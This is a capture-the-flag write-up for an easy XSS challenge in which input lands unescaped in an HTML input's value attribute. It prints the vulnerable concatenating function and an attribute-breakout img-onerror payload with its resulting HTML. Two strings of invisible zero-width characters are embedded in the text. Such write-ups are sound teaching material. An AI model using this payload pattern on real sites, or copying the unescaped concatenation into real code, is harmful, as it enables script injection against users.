Easy 0

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: attribute_breakout_xss, img_onerror_xss

Summary

SiBears XSS School challenge. User input is placed into the value attribute of an HTML <input> element. Goal: execute prompt("sibears").

Easy 0 — Web Kids 2.0 (SiBears XSS School)

Description

SiBears XSS School challenge. User input is placed into the value attribute of an HTML <input> element. Goal: execute prompt("sibears").

URL: http://109.233.56.90:11659/xss/easy/0

Analysis

The escape function simply concatenates user input into HTML without any sanitization:

 js read-only • copy allowed Copy
function escape(input) {
    return '<input type="text" value="' + input + '">;';
}

Vulnerability: no escaping of special HTML characters (", <, >). This allows:

1. Closing the value attribute with "
2. Closing the <input> tag with >
3. Injecting arbitrary HTML/JavaScript ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Payload to break out of the attribute and inject XSS:

"><img src=x onerror=prompt("sibears")>

Resulting HTML:

 html read-only • copy allowed Copy
<input type="text" value=""><img src=x onerror=prompt("sibears")>">;

Breakdown:

• "> — closes the value attribute and input tag
• <img src=x — creates an img element with non-existent src
• onerror=prompt("sibears") — error handler for image load failure
• Browser tries to load x, fails, onerror fires ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍